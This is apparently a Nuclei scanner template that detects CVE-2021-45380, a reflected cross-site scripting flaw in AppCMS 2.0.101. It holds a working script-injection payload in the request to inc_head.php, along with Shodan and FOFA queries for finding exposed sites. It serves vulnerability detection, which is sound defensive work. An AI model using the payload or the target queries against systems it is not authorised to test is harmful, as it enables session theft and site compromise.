CVE-2021-45380: AppCMS - Cross-Site Scripting

id: CVE-2021-45380

info:
  name: AppCMS - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: AppCMS 2.0.101 has a cross-site scripting vulnerability in \templates\m\inc_head.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/source-trace/appcms/issues/8
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45380
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-45380
    cwe-id: CWE-79
    epss-score: 0.05815
    epss-percentile: 0.90171
    cpe: cpe:2.3:a:appcms:appcms:2.0.101:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: appcms
    product: appcms
    shodan-query:
      - http.html:"Powerd by AppCMS"
      - http.html:"powerd by appcms"
    fofa-query: body="powerd by appcms"
  tags: cve2021,cve,appcms,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/templates/m/inc_head.php?q=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '""></script><script>alert(document.domain)</script>'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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